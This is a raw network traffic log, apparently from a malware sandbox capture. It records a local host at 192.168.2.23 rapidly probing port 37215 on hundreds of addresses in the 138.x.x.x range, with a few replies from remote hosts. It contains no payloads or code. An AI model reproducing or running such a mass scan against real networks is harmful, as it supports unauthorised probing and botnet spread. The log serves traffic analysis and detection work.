Feb 20, 2022 15:51:02.849174976 CET	1386	37215	192.168.2.23	138.233.48.174
Feb 20, 2022 15:51:02.849195957 CET	1386	37215	192.168.2.23	138.162.179.124
Feb 20, 2022 15:51:02.849216938 CET	1386	37215	192.168.2.23	138.159.199.82
Feb 20, 2022 15:51:02.849234104 CET	1386	37215	192.168.2.23	138.17.37.141
Feb 20, 2022 15:51:02.849236012 CET	1386	37215	192.168.2.23	138.4.86.143
Feb 20, 2022 15:51:02.849281073 CET	1386	37215	192.168.2.23	138.200.134.217
Feb 20, 2022 15:51:02.849304914 CET	1386	37215	192.168.2.23	138.15.154.29
Feb 20, 2022 15:51:02.849323034 CET	1386	37215	192.168.2.23	138.208.214.4
Feb 20, 2022 15:51:02.849328041 CET	1386	37215	192.168.2.23	138.142.81.66
Feb 20, 2022 15:51:02.849360943 CET	1386	37215	192.168.2.23	138.109.239.81
Feb 20, 2022 15:51:02.849387884 CET	1386	37215	192.168.2.23	138.152.10.209
Feb 20, 2022 15:51:02.849390984 CET	1386	37215	192.168.2.23	138.154.58.221
Feb 20, 2022 15:51:02.849410057 CET	1386	37215	192.168.2.23	138.126.181.87
Feb 20, 2022 15:51:02.849421978 CET	1386	37215	192.168.2.23	138.151.216.82
Feb 20, 2022 15:51:02.849451065 CET	1386	37215	192.168.2.23	138.151.222.22
Feb 20, 2022 15:51:02.849476099 CET	1386	37215	192.168.2.23	138.134.237.225
Feb 20, 2022 15:51:02.849497080 CET	1386	37215	192.168.2.23	138.190.16.200
Feb 20, 2022 15:51:02.849534035 CET	1386	37215	192.168.2.23	138.254.12.216
Feb 20, 2022 15:51:02.849534988 CET	1386	37215	192.168.2.23	138.12.43.0
Feb 20, 2022 15:51:02.849546909 CET	1386	37215	192.168.2.23	138.203.61.62
Feb 20, 2022 15:51:02.849617004 CET	1386	37215	192.168.2.23	138.211.143.60
Feb 20, 2022 15:51:02.849618912 CET	1386	37215	192.168.2.23	138.87.112.112
Feb 20, 2022 15:51:02.849620104 CET	1386	37215	192.168.2.23	138.174.253.167
Feb 20, 2022 15:51:02.849639893 CET	1386	37215	192.168.2.23	138.65.121.25
Feb 20, 2022 15:51:02.849658966 CET	1386	37215	192.168.2.23	138.90.212.214
Feb 20, 2022 15:51:02.849682093 CET	1386	37215	192.168.2.23	138.20.46.151
Feb 20, 2022 15:51:02.849701881 CET	1386	37215	192.168.2.23	138.27.172.155
Feb 20, 2022 15:51:02.849728107 CET	37215	1386	138.201.81.133	192.168.2.23
Feb 20, 2022 15:51:02.849735022 CET	1386	37215	192.168.2.23	138.201.81.130
Feb 20, 2022 15:51:02.849747896 CET	1386	37215	192.168.2.23	138.209.202.75
Feb 20, 2022 15:51:02.849783897 CET	1386	37215	192.168.2.23	138.69.175.41
Feb 20, 2022 15:51:02.849797010 CET	1386	37215	192.168.2.23	138.148.33.135
Feb 20, 2022 15:51:02.849818945 CET	1386	37215	192.168.2.23	138.162.181.94
Feb 20, 2022 15:51:02.849831104 CET	1386	37215	192.168.2.23	138.18.79.232
Feb 20, 2022 15:51:02.849867105 CET	1386	37215	192.168.2.23	138.98.177.45
Feb 20, 2022 15:51:02.849910021 CET	1386	37215	192.168.2.23	138.88.111.249
Feb 20, 2022 15:51:02.849920034 CET	1386	37215	192.168.2.23	138.53.153.146
Feb 20, 2022 15:51:02.849935055 CET	1386	37215	192.168.2.23	138.34.249.88
Feb 20, 2022 15:51:02.849972010 CET	1386	37215	192.168.2.23	138.81.9.206
Feb 20, 2022 15:51:02.849976063 CET	1386	37215	192.168.2.23	138.196.160.0
Feb 20, 2022 15:51:02.850019932 CET	1386	37215	192.168.2.23	138.86.146.116
Feb 20, 2022 15:51:02.850023031 CET	1386	37215	192.168.2.23	138.221.53.3
Feb 20, 2022 15:51:02.850039959 CET	1386	37215	192.168.2.23	138.33.184.209
Feb 20, 2022 15:51:02.850064993 CET	1386	37215	192.168.2.23	138.174.158.216
Feb 20, 2022 15:51:02.850084066 CET	1386	37215	192.168.2.23	138.134.57.255
Feb 20, 2022 15:51:02.850121021 CET	1386	37215	192.168.2.23	138.164.182.12
Feb 20, 2022 15:51:02.850145102 CET	1386	37215	192.168.2.23	138.226.98.9
Feb 20, 2022 15:51:02.850163937 CET	1386	37215	192.168.2.23	138.142.252.192
Feb 20, 2022 15:51:02.850188971 CET	1386	37215	192.168.2.23	138.5.227.63
Feb 20, 2022 15:51:02.850191116 CET	1386	37215	192.168.2.23	138.106.100.8
Feb 20, 2022 15:51:02.850229025 CET	1386	37215	192.168.2.23	138.37.160.205
Feb 20, 2022 15:51:02.850238085 CET	1386	37215	192.168.2.23	138.236.16.179
Feb 20, 2022 15:51:02.850251913 CET	1386	37215	192.168.2.23	138.196.33.216
Feb 20, 2022 15:51:02.850281000 CET	1386	37215	192.168.2.23	138.192.104.151
Feb 20, 2022 15:51:02.850301027 CET	1386	37215	192.168.2.23	138.5.248.98
Feb 20, 2022 15:51:02.850342989 CET	1386	37215	192.168.2.23	138.108.13.36
Feb 20, 2022 15:51:02.850347996 CET	1386	37215	192.168.2.23	138.216.168.119
Feb 20, 2022 15:51:02.850369930 CET	1386	37215	192.168.2.23	138.164.72.0
Feb 20, 2022 15:51:02.850394964 CET	1386	37215	192.168.2.23	138.125.32.43
Feb 20, 2022 15:51:02.850425959 CET	1386	37215	192.168.2.23	138.247.114.194
Feb 20, 2022 15:51:02.850436926 CET	1386	37215	192.168.2.23	138.226.96.166
Feb 20, 2022 15:51:02.850454092 CET	1386	37215	192.168.2.23	138.135.4.140
Feb 20, 2022 15:51:02.850493908 CET	1386	37215	192.168.2.23	138.27.233.38
Feb 20, 2022 15:51:02.850497961 CET	1386	37215	192.168.2.23	138.140.44.178
Feb 20, 2022 15:51:02.850517035 CET	1386	37215	192.168.2.23	138.52.81.22
Feb 20, 2022 15:51:02.850550890 CET	1386	37215	192.168.2.23	138.33.218.46
Feb 20, 2022 15:51:02.850588083 CET	1386	37215	192.168.2.23	138.57.92.164
Feb 20, 2022 15:51:02.850605965 CET	1386	37215	192.168.2.23	138.222.172.116
Feb 20, 2022 15:51:02.850625992 CET	1386	37215	192.168.2.23	138.51.4.1
Feb 20, 2022 15:51:02.850639105 CET	1386	37215	192.168.2.23	138.130.211.205
Feb 20, 2022 15:51:02.850671053 CET	1386	37215	192.168.2.23	138.3.135.47
Feb 20, 2022 15:51:02.850673914 CET	1386	37215	192.168.2.23	138.123.191.200
Feb 20, 2022 15:51:02.850718975 CET	1386	37215	192.168.2.23	138.232.184.91
Feb 20, 2022 15:51:02.850733995 CET	1386	37215	192.168.2.23	138.214.104.21
Feb 20, 2022 15:51:02.850739002 CET	1386	37215	192.168.2.23	138.191.252.188
Feb 20, 2022 15:51:02.850783110 CET	1386	37215	192.168.2.23	138.187.92.10
Feb 20, 2022 15:51:02.850784063 CET	1386	37215	192.168.2.23	138.50.228.157
Feb 20, 2022 15:51:02.850830078 CET	1386	37215	192.168.2.23	138.108.109.133
Feb 20, 2022 15:51:02.850838900 CET	1386	37215	192.168.2.23	138.152.130.167
Feb 20, 2022 15:51:02.850868940 CET	1386	37215	192.168.2.23	138.48.177.81
Feb 20, 2022 15:51:02.850877047 CET	1386	37215	192.168.2.23	138.58.187.240
Feb 20, 2022 15:51:02.850894928 CET	1386	37215	192.168.2.23	138.135.129.237
Feb 20, 2022 15:51:02.850940943 CET	1386	37215	192.168.2.23	138.1.135.141
Feb 20, 2022 15:51:02.850950003 CET	1386	37215	192.168.2.23	138.44.2.4
Feb 20, 2022 15:51:02.850966930 CET	1386	37215	192.168.2.23	138.57.90.169
Feb 20, 2022 15:51:02.851002932 CET	1386	37215	192.168.2.23	138.59.122.138
Feb 20, 2022 15:51:02.851008892 CET	1386	37215	192.168.2.23	138.168.175.7
Feb 20, 2022 15:51:02.851058006 CET	1386	37215	192.168.2.23	138.4.59.121
Feb 20, 2022 15:51:02.851064920 CET	1386	37215	192.168.2.23	138.206.90.116
Feb 20, 2022 15:51:02.851084948 CET	1386	37215	192.168.2.23	138.81.159.237
Feb 20, 2022 15:51:02.851109028 CET	1386	37215	192.168.2.23	138.59.169.49
Feb 20, 2022 15:51:02.851124048 CET	1386	37215	192.168.2.23	138.1.150.110
Feb 20, 2022 15:51:02.851169109 CET	1386	37215	192.168.2.23	138.156.80.136
Feb 20, 2022 15:51:02.851188898 CET	1386	37215	192.168.2.23	138.208.162.163
Feb 20, 2022 15:51:02.851191998 CET	1386	37215	192.168.2.23	138.162.78.160
Feb 20, 2022 15:51:02.851238012 CET	1386	37215	192.168.2.23	138.153.150.73
Feb 20, 2022 15:51:02.851268053 CET	1386	37215	192.168.2.23	138.119.62.29
Feb 20, 2022 15:51:02.851274967 CET	1386	37215	192.168.2.23	138.7.180.22
Feb 20, 2022 15:51:02.851310968 CET	1386	37215	192.168.2.23	138.123.196.244
Feb 20, 2022 15:51:02.851310968 CET	1386	37215	192.168.2.23	138.126.31.103
Feb 20, 2022 15:51:02.851320982 CET	1386	37215	192.168.2.23	138.28.41.233
Feb 20, 2022 15:51:02.851357937 CET	1386	37215	192.168.2.23	138.158.67.133
Feb 20, 2022 15:51:02.851367950 CET	1386	37215	192.168.2.23	138.226.62.81
Feb 20, 2022 15:51:02.851377964 CET	1386	37215	192.168.2.23	138.205.64.59
Feb 20, 2022 15:51:02.851409912 CET	1386	37215	192.168.2.23	138.89.159.74
Feb 20, 2022 15:51:02.851413012 CET	1386	37215	192.168.2.23	138.142.26.246
Feb 20, 2022 15:51:02.851428032 CET	1386	37215	192.168.2.23	138.91.135.6
Feb 20, 2022 15:51:02.851473093 CET	1386	37215	192.168.2.23	138.128.216.220
Feb 20, 2022 15:51:02.851480007 CET	1386	37215	192.168.2.23	138.56.51.105
Feb 20, 2022 15:51:02.851505041 CET	1386	37215	192.168.2.23	138.166.196.20
Feb 20, 2022 15:51:02.851516962 CET	1386	37215	192.168.2.23	138.29.244.3
Feb 20, 2022 15:51:02.851535082 CET	1386	37215	192.168.2.23	138.124.38.44
Feb 20, 2022 15:51:02.851576090 CET	1386	37215	192.168.2.23	138.15.33.244
Feb 20, 2022 15:51:02.851596117 CET	1386	37215	192.168.2.23	138.66.12.186
Feb 20, 2022 15:51:02.851613045 CET	1386	37215	192.168.2.23	138.134.178.124
Feb 20, 2022 15:51:02.851634979 CET	1386	37215	192.168.2.23	138.213.183.249
Feb 20, 2022 15:51:02.851659060 CET	1386	37215	192.168.2.23	138.203.67.15
Feb 20, 2022 15:51:02.851677895 CET	1386	37215	192.168.2.23	138.110.119.158
Feb 20, 2022 15:51:02.851679087 CET	1386	37215	192.168.2.23	138.67.9.224
Feb 20, 2022 15:51:02.851706028 CET	1386	37215	192.168.2.23	138.210.24.117
Feb 20, 2022 15:51:02.851742983 CET	1386	37215	192.168.2.23	138.17.173.51
Feb 20, 2022 15:51:02.851746082 CET	1386	37215	192.168.2.23	138.107.66.108
Feb 20, 2022 15:51:02.851774931 CET	1386	37215	192.168.2.23	138.77.242.91
Feb 20, 2022 15:51:02.851785898 CET	1386	37215	192.168.2.23	138.72.118.22
Feb 20, 2022 15:51:02.851807117 CET	1386	37215	192.168.2.23	138.15.104.97
Feb 20, 2022 15:51:02.851833105 CET	1386	37215	192.168.2.23	138.24.145.243
Feb 20, 2022 15:51:02.851867914 CET	1386	37215	192.168.2.23	138.251.71.167
Feb 20, 2022 15:51:02.851874113 CET	1386	37215	192.168.2.23	138.231.7.134
Feb 20, 2022 15:51:02.851890087 CET	1386	37215	192.168.2.23	138.255.0.37
Feb 20, 2022 15:51:02.851912022 CET	1386	37215	192.168.2.23	138.185.23.24
Feb 20, 2022 15:51:02.851952076 CET	1386	37215	192.168.2.23	138.30.198.52
Feb 20, 2022 15:51:02.851953983 CET	1386	37215	192.168.2.23	138.18.69.135
Feb 20, 2022 15:51:02.851973057 CET	1386	37215	192.168.2.23	138.20.180.244
Feb 20, 2022 15:51:02.851993084 CET	1386	37215	192.168.2.23	138.209.156.147
Feb 20, 2022 15:51:02.852015018 CET	1386	37215	192.168.2.23	138.117.188.198
Feb 20, 2022 15:51:02.852041006 CET	1386	37215	192.168.2.23	138.208.12.109
Feb 20, 2022 15:51:02.852061987 CET	1386	37215	192.168.2.23	138.90.138.37
Feb 20, 2022 15:51:02.852072001 CET	1386	37215	192.168.2.23	138.62.230.69
Feb 20, 2022 15:51:02.852097034 CET	1386	37215	192.168.2.23	138.94.242.219
Feb 20, 2022 15:51:02.852117062 CET	1386	37215	192.168.2.23	138.209.172.247
Feb 20, 2022 15:51:02.852138042 CET	1386	37215	192.168.2.23	138.73.112.228
Feb 20, 2022 15:51:02.852175951 CET	1386	37215	192.168.2.23	138.100.162.138
Feb 20, 2022 15:51:02.852185965 CET	1386	37215	192.168.2.23	138.203.181.189
Feb 20, 2022 15:51:02.852200985 CET	1386	37215	192.168.2.23	138.6.171.156
Feb 20, 2022 15:51:02.852240086 CET	1386	37215	192.168.2.23	138.214.134.60
Feb 20, 2022 15:51:02.852245092 CET	1386	37215	192.168.2.23	138.144.35.228
Feb 20, 2022 15:51:02.852283001 CET	1386	37215	192.168.2.23	138.12.199.150
Feb 20, 2022 15:51:02.852302074 CET	1386	37215	192.168.2.23	138.117.168.137
Feb 20, 2022 15:51:02.852338076 CET	1386	37215	192.168.2.23	138.73.70.237
Feb 20, 2022 15:51:02.852374077 CET	1386	37215	192.168.2.23	138.172.203.12
Feb 20, 2022 15:51:02.852381945 CET	1386	37215	192.168.2.23	138.244.155.81
Feb 20, 2022 15:51:02.852406025 CET	1386	37215	192.168.2.23	138.169.102.131
Feb 20, 2022 15:51:02.852433920 CET	1386	37215	192.168.2.23	138.252.44.253
Feb 20, 2022 15:51:02.852437973 CET	1386	37215	192.168.2.23	138.117.83.111
Feb 20, 2022 15:51:02.852462053 CET	1386	37215	192.168.2.23	138.242.117.105
Feb 20, 2022 15:51:02.852463961 CET	1386	37215	192.168.2.23	138.197.142.142
Feb 20, 2022 15:51:02.852497101 CET	1386	37215	192.168.2.23	138.225.115.63
Feb 20, 2022 15:51:02.852515936 CET	1386	37215	192.168.2.23	138.64.233.44
Feb 20, 2022 15:51:02.852539062 CET	1386	37215	192.168.2.23	138.107.68.242
Feb 20, 2022 15:51:02.852560997 CET	1386	37215	192.168.2.23	138.247.134.229
Feb 20, 2022 15:51:02.852565050 CET	1386	37215	192.168.2.23	138.223.63.58
Feb 20, 2022 15:51:02.852592945 CET	1386	37215	192.168.2.23	138.179.228.150
Feb 20, 2022 15:51:02.852626085 CET	1386	37215	192.168.2.23	138.28.23.225
Feb 20, 2022 15:51:02.852647066 CET	1386	37215	192.168.2.23	138.54.131.78
Feb 20, 2022 15:51:02.852647066 CET	1386	37215	192.168.2.23	138.41.156.81
Feb 20, 2022 15:51:02.852673054 CET	1386	37215	192.168.2.23	138.70.110.132
Feb 20, 2022 15:51:02.852699041 CET	1386	37215	192.168.2.23	138.127.138.11
Feb 20, 2022 15:51:02.852709055 CET	1386	37215	192.168.2.23	138.167.143.29
Feb 20, 2022 15:51:02.852740049 CET	1386	37215	192.168.2.23	138.195.169.76
Feb 20, 2022 15:51:02.852752924 CET	1386	37215	192.168.2.23	138.99.94.212
Feb 20, 2022 15:51:02.852781057 CET	1386	37215	192.168.2.23	138.93.195.193
Feb 20, 2022 15:51:02.852796078 CET	1386	37215	192.168.2.23	138.46.189.37
Feb 20, 2022 15:51:02.852807999 CET	1386	37215	192.168.2.23	138.204.194.178
Feb 20, 2022 15:51:02.852833033 CET	1386	37215	192.168.2.23	138.86.228.183
Feb 20, 2022 15:51:02.852854967 CET	1386	37215	192.168.2.23	138.246.151.216
Feb 20, 2022 15:51:02.852869034 CET	1386	37215	192.168.2.23	138.227.119.27
Feb 20, 2022 15:51:02.852890968 CET	1386	37215	192.168.2.23	138.81.108.189
Feb 20, 2022 15:51:02.852911949 CET	1386	37215	192.168.2.23	138.55.108.15
Feb 20, 2022 15:51:02.852958918 CET	1386	37215	192.168.2.23	138.123.39.190
Feb 20, 2022 15:51:02.852982998 CET	1386	37215	192.168.2.23	138.107.216.98
Feb 20, 2022 15:51:02.852986097 CET	1386	37215	192.168.2.23	138.136.9.189
Feb 20, 2022 15:51:02.852998018 CET	1386	37215	192.168.2.23	138.22.195.55
Feb 20, 2022 15:51:02.853013039 CET	1386	37215	192.168.2.23	138.230.139.156
Feb 20, 2022 15:51:02.853038073 CET	1386	37215	192.168.2.23	138.207.49.242
Feb 20, 2022 15:51:02.853071928 CET	1386	37215	192.168.2.23	138.133.250.33
Feb 20, 2022 15:51:02.853075027 CET	1386	37215	192.168.2.23	138.155.95.234
Feb 20, 2022 15:51:02.853085995 CET	1386	37215	192.168.2.23	138.117.5.36
Feb 20, 2022 15:51:02.853116989 CET	1386	37215	192.168.2.23	138.40.139.206
Feb 20, 2022 15:51:02.853158951 CET	1386	37215	192.168.2.23	138.102.61.173
Feb 20, 2022 15:51:02.853163004 CET	1386	37215	192.168.2.23	138.27.146.100
Feb 20, 2022 15:51:02.853182077 CET	1386	37215	192.168.2.23	138.53.110.189
Feb 20, 2022 15:51:02.853218079 CET	1386	37215	192.168.2.23	138.150.88.227
Feb 20, 2022 15:51:02.853224993 CET	1386	37215	192.168.2.23	138.133.97.192
Feb 20, 2022 15:51:02.853257895 CET	1386	37215	192.168.2.23	138.255.52.70
Feb 20, 2022 15:51:02.853276968 CET	1386	37215	192.168.2.23	138.186.159.138
Feb 20, 2022 15:51:02.853301048 CET	1386	37215	192.168.2.23	138.216.153.195
Feb 20, 2022 15:51:02.853317022 CET	1386	37215	192.168.2.23	138.126.193.46
Feb 20, 2022 15:51:02.853324890 CET	1386	37215	192.168.2.23	138.99.211.228
Feb 20, 2022 15:51:02.853359938 CET	1386	37215	192.168.2.23	138.165.37.58
Feb 20, 2022 15:51:02.853380919 CET	1386	37215	192.168.2.23	138.36.81.139
Feb 20, 2022 15:51:02.853384972 CET	1386	37215	192.168.2.23	138.173.89.138
Feb 20, 2022 15:51:02.853400946 CET	1386	37215	192.168.2.23	138.251.166.61
Feb 20, 2022 15:51:02.853444099 CET	1386	37215	192.168.2.23	138.25.61.51
Feb 20, 2022 15:51:02.853452921 CET	1386	37215	192.168.2.23	138.84.10.237
Feb 20, 2022 15:51:02.853480101 CET	1386	37215	192.168.2.23	138.116.156.55
Feb 20, 2022 15:51:02.853490114 CET	1386	37215	192.168.2.23	138.20.208.135
Feb 20, 2022 15:51:02.853506088 CET	1386	37215	192.168.2.23	138.59.19.44
Feb 20, 2022 15:51:02.853519917 CET	1386	37215	192.168.2.23	138.29.221.130
Feb 20, 2022 15:51:02.853564024 CET	1386	37215	192.168.2.23	138.245.221.10
Feb 20, 2022 15:51:02.853565931 CET	1386	37215	192.168.2.23	138.208.54.137
Feb 20, 2022 15:51:02.853604078 CET	1386	37215	192.168.2.23	138.114.27.108
Feb 20, 2022 15:51:02.853605986 CET	1386	37215	192.168.2.23	138.29.52.205
Feb 20, 2022 15:51:02.853646994 CET	1386	37215	192.168.2.23	138.197.221.117
Feb 20, 2022 15:51:02.853661060 CET	1386	37215	192.168.2.23	138.243.107.184
Feb 20, 2022 15:51:02.853678942 CET	1386	37215	192.168.2.23	138.77.69.1
Feb 20, 2022 15:51:02.853698969 CET	1386	37215	192.168.2.23	138.160.1.228
Feb 20, 2022 15:51:02.853723049 CET	1386	37215	192.168.2.23	138.61.43.43
Feb 20, 2022 15:51:02.853739023 CET	1386	37215	192.168.2.23	138.85.78.243
Feb 20, 2022 15:51:02.853765011 CET	1386	37215	192.168.2.23	138.132.151.236
Feb 20, 2022 15:51:02.853766918 CET	1386	37215	192.168.2.23	138.142.188.82
Feb 20, 2022 15:51:02.853776932 CET	1386	37215	192.168.2.23	138.42.101.85
Feb 20, 2022 15:51:02.853810072 CET	1386	37215	192.168.2.23	138.192.70.172
Feb 20, 2022 15:51:02.853827953 CET	1386	37215	192.168.2.23	138.64.47.240
Feb 20, 2022 15:51:02.853868008 CET	1386	37215	192.168.2.23	138.106.9.167
Feb 20, 2022 15:51:02.853877068 CET	1386	37215	192.168.2.23	138.91.193.183
Feb 20, 2022 15:51:02.853904009 CET	1386	37215	192.168.2.23	138.61.99.82
Feb 20, 2022 15:51:02.853924990 CET	1386	37215	192.168.2.23	138.23.112.224
Feb 20, 2022 15:51:02.853929043 CET	1386	37215	192.168.2.23	138.130.151.199
Feb 20, 2022 15:51:02.853975058 CET	1386	37215	192.168.2.23	138.46.83.138
Feb 20, 2022 15:51:02.853986025 CET	1386	37215	192.168.2.23	138.69.105.199
Feb 20, 2022 15:51:02.853990078 CET	1386	37215	192.168.2.23	138.187.66.142
Feb 20, 2022 15:51:02.854016066 CET	1386	37215	192.168.2.23	138.233.19.99
Feb 20, 2022 15:51:02.854028940 CET	1386	37215	192.168.2.23	138.38.209.247
Feb 20, 2022 15:51:02.854052067 CET	1386	37215	192.168.2.23	138.67.43.118
Feb 20, 2022 15:51:02.854068995 CET	1386	37215	192.168.2.23	138.226.210.135
Feb 20, 2022 15:51:02.854108095 CET	1386	37215	192.168.2.23	138.53.105.85
Feb 20, 2022 15:51:02.854114056 CET	1386	37215	192.168.2.23	138.222.54.211
Feb 20, 2022 15:51:02.854132891 CET	1386	37215	192.168.2.23	138.22.197.38
Feb 20, 2022 15:51:02.854151011 CET	1386	37215	192.168.2.23	138.218.146.169
Feb 20, 2022 15:51:02.854182959 CET	1386	37215	192.168.2.23	138.240.103.106
Feb 20, 2022 15:51:02.854187012 CET	1386	37215	192.168.2.23	138.173.243.42
Feb 20, 2022 15:51:02.854221106 CET	37215	1386	138.40.138.157	192.168.2.23
Feb 20, 2022 15:51:02.854222059 CET	1386	37215	192.168.2.23	138.82.97.208
Feb 20, 2022 15:51:02.854231119 CET	1386	37215	192.168.2.23	138.23.220.38
Feb 20, 2022 15:51:02.854248047 CET	1386	37215	192.168.2.23	138.236.145.196
Feb 20, 2022 15:51:02.854264975 CET	1386	37215	192.168.2.23	138.98.207.42
Feb 20, 2022 15:51:02.854295015 CET	1386	37215	192.168.2.23	138.40.138.157
Feb 20, 2022 15:51:02.854295969 CET	1386	37215	192.168.2.23	138.205.103.188
Feb 20, 2022 15:51:02.854311943 CET	1386	37215	192.168.2.23	138.184.100.100
Feb 20, 2022 15:51:02.854346991 CET	1386	37215	192.168.2.23	138.172.105.202
Feb 20, 2022 15:51:02.854361057 CET	37215	1898	138.40.103.249	192.168.2.23
Feb 20, 2022 15:51:02.854371071 CET	1386	37215	192.168.2.23	138.181.29.232
Feb 20, 2022 15:51:02.854382038 CET	1386	37215	192.168.2.23	138.67.52.18
Feb 20, 2022 15:51:02.854384899 CET	1386	37215	192.168.2.23	138.132.150.111
Feb 20, 2022 15:51:02.854413033 CET	1898	37215	192.168.2.23	138.40.103.249
Feb 20, 2022 15:51:02.854423046 CET	1386	37215	192.168.2.23	138.63.177.223
Feb 20, 2022 15:51:02.854435921 CET	1386	37215	192.168.2.23	138.137.136.21
Feb 20, 2022 15:51:02.854480982 CET	1386	37215	192.168.2.23	138.134.87.224
Feb 20, 2022 15:51:02.854517937 CET	1386	37215	192.168.2.23	138.110.201.154
Feb 20, 2022 15:51:02.854536057 CET	1386	37215	192.168.2.23	138.229.126.97
Feb 20, 2022 15:51:02.854542017 CET	1386	37215	192.168.2.23	138.127.173.150
Feb 20, 2022 15:51:02.854559898 CET	1386	37215	192.168.2.23	138.142.159.38
Feb 20, 2022 15:51:02.854578972 CET	1386	37215	192.168.2.23	138.10.147.144
Feb 20, 2022 15:51:02.854607105 CET	1386	37215	192.168.2.23	138.104.82.124
Feb 20, 2022 15:51:02.854615927 CET	1386	37215	192.168.2.23	138.38.74.148
Feb 20, 2022 15:51:02.854640961 CET	1386	37215	192.168.2.23	138.211.254.193
Feb 20, 2022 15:51:02.854646921 CET	1386	37215	192.168.2.23	138.79.32.38
Feb 20, 2022 15:51:02.854679108 CET	1386	37215	192.168.2.23	138.32.16.105
Feb 20, 2022 15:51:02.854684114 CET	1386	37215	192.168.2.23	138.209.183.146
Feb 20, 2022 15:51:02.854722023 CET	1386	37215	192.168.2.23	138.76.166.95
Feb 20, 2022 15:51:02.854727030 CET	1386	37215	192.168.2.23	138.135.253.227
Feb 20, 2022 15:51:02.854765892 CET	1386	37215	192.168.2.23	138.37.3.73
Feb 20, 2022 15:51:02.854770899 CET	1386	37215	192.168.2.23	138.106.152.104
Feb 20, 2022 15:51:02.854799986 CET	1386	37215	192.168.2.23	138.45.11.59
Feb 20, 2022 15:51:02.854810953 CET	1386	37215	192.168.2.23	138.2.142.106
Feb 20, 2022 15:51:02.854820013 CET	1386	37215	192.168.2.23	138.161.204.167
Feb 20, 2022 15:51:02.854846954 CET	1386	37215	192.168.2.23	138.188.165.21
Feb 20, 2022 15:51:02.854866982 CET	1386	37215	192.168.2.23	138.136.66.10
Feb 20, 2022 15:51:02.854907036 CET	1386	37215	192.168.2.23	138.237.255.185
Feb 20, 2022 15:51:02.854919910 CET	1386	37215	192.168.2.23	138.36.237.75
Feb 20, 2022 15:51:02.854948044 CET	1386	37215	192.168.2.23	138.104.254.141
Feb 20, 2022 15:51:02.854960918 CET	1386	37215	192.168.2.23	138.90.2.206
Feb 20, 2022 15:51:02.854974985 CET	1386	37215	192.168.2.23	138.188.235.101
Feb 20, 2022 15:51:02.854988098 CET	1386	37215	192.168.2.23	138.160.66.1
Feb 20, 2022 15:51:02.855026007 CET	1386	37215	192.168.2.23	138.154.31.144
Feb 20, 2022 15:51:02.855030060 CET	1386	37215	192.168.2.23	138.144.235.250
Feb 20, 2022 15:51:02.855067968 CET	1386	37215	192.168.2.23	138.5.205.215
Feb 20, 2022 15:51:02.855073929 CET	1386	37215	192.168.2.23	138.248.67.99
Feb 20, 2022 15:51:02.855108023 CET	1386	37215	192.168.2.23	138.72.82.91
Feb 20, 2022 15:51:02.855161905 CET	1386	37215	192.168.2.23	138.108.123.173
Feb 20, 2022 15:51:02.855163097 CET	1386	37215	192.168.2.23	138.143.36.213
Feb 20, 2022 15:51:02.855170012 CET	1386	37215	192.168.2.23	138.229.242.161
Feb 20, 2022 15:51:02.855192900 CET	1386	37215	192.168.2.23	138.132.104.183
Feb 20, 2022 15:51:02.855209112 CET	1386	37215	192.168.2.23	138.242.218.136
Feb 20, 2022 15:51:02.855217934 CET	1386	37215	192.168.2.23	138.23.191.63
Feb 20, 2022 15:51:02.855233908 CET	1386	37215	192.168.2.23	138.3.250.125
Feb 20, 2022 15:51:02.855258942 CET	1386	37215	192.168.2.23	138.62.122.138
Feb 20, 2022 15:51:02.855304003 CET	1386	37215	192.168.2.23	138.201.12.108
Feb 20, 2022 15:51:02.855319023 CET	1386	37215	192.168.2.23	138.50.59.152
Feb 20, 2022 15:51:02.855339050 CET	1386	37215	192.168.2.23	138.234.6.143
Feb 20, 2022 15:51:02.855340004 CET	1386	37215	192.168.2.23	138.209.42.107
Feb 20, 2022 15:51:02.855382919 CET	1386	37215	192.168.2.23	138.42.177.195
Feb 20, 2022 15:51:02.855387926 CET	1386	37215	192.168.2.23	138.224.206.151
Feb 20, 2022 15:51:02.855400085 CET	1386	37215	192.168.2.23	138.242.145.214
Feb 20, 2022 15:51:02.855428934 CET	1386	37215	192.168.2.23	138.229.232.37
Feb 20, 2022 15:51:02.855468988 CET	1386	37215	192.168.2.23	138.115.159.149
Feb 20, 2022 15:51:02.855475903 CET	1386	37215	192.168.2.23	138.20.150.163
Feb 20, 2022 15:51:02.855506897 CET	1386	37215	192.168.2.23	138.230.124.6
Feb 20, 2022 15:51:02.855515003 CET	1386	37215	192.168.2.23	138.143.117.78
Feb 20, 2022 15:51:02.855576038 CET	37215	1898	138.248.212.153	192.168.2.23
Feb 20, 2022 15:51:02.857722998 CET	37215	1898	138.201.243.84	192.168.2.23
Feb 20, 2022 15:51:02.867784977 CET	37215	1386	138.40.202.91	192.168.2.23
Feb 20, 2022 15:51:02.867909908 CET	1386	37215	192.168.2.23	138.40.202.91
Feb 20, 2022 15:51:02.929018974 CET	37215	1898	138.128.64.224	192.168.2.23
Feb 20, 2022 15:51:02.943085909 CET	37215	1386	138.197.60.45	192.168.2.23
Feb 20, 2022 15:51:02.944327116 CET	37215	1898	138.128.12.127	192.168.2.23
Feb 20, 2022 15:51:02.952516079 CET	37215	1386	138.124.158.50	192.168.2.23
Feb 20, 2022 15:51:02.952768087 CET	37215	1386	138.128.43.68	192.168.2.23
Feb 20, 2022 15:51:02.963459969 CET	37215	1386	138.34.86.209	192.168.2.23
Feb 20, 2022 15:51:03.009455919 CET	37215	1898	138.97.158.119	192.168.2.23
Feb 20, 2022 15:51:03.012011051 CET	37215	1386	138.197.205.12	192.168.2.23
Feb 20, 2022 15:51:03.016195059 CET	37215	1898	138.19.188.166	192.168.2.23
Feb 20, 2022 15:51:03.039026022 CET	37215	1898	138.122.164.31	192.168.2.23
Feb 20, 2022 15:51:03.040191889 CET	37215	1898	138.97.233.19	192.168.2.23
Feb 20, 2022 15:51:03.049257994 CET	37215	1898	138.121.183.87	192.168.2.23
Feb 20, 2022 15:51:03.063628912 CET	37215	1898	138.186.117.84	192.168.2.23
Feb 20, 2022 15:51:03.064491034 CET	37215	1386	138.186.159.138	192.168.2.23
Feb 20, 2022 15:51:03.064899921 CET	37215	1386	138.99.94.212	192.168.2.23
Feb 20, 2022 15:51:03.068113089 CET	37215	1386	138.255.52.70	192.168.2.23
Feb 20, 2022 15:51:03.082629919 CET	37215	1898	138.59.212.79	192.168.2.23
Feb 20, 2022 15:51:03.083055019 CET	37215	1386	138.204.128.31	192.168.2.23
Feb 20, 2022 15:51:03.089531898 CET	37215	1898	138.36.148.140	192.168.2.23
Feb 20, 2022 15:51:03.090976954 CET	37215	1898	138.36.102.217	192.168.2.23
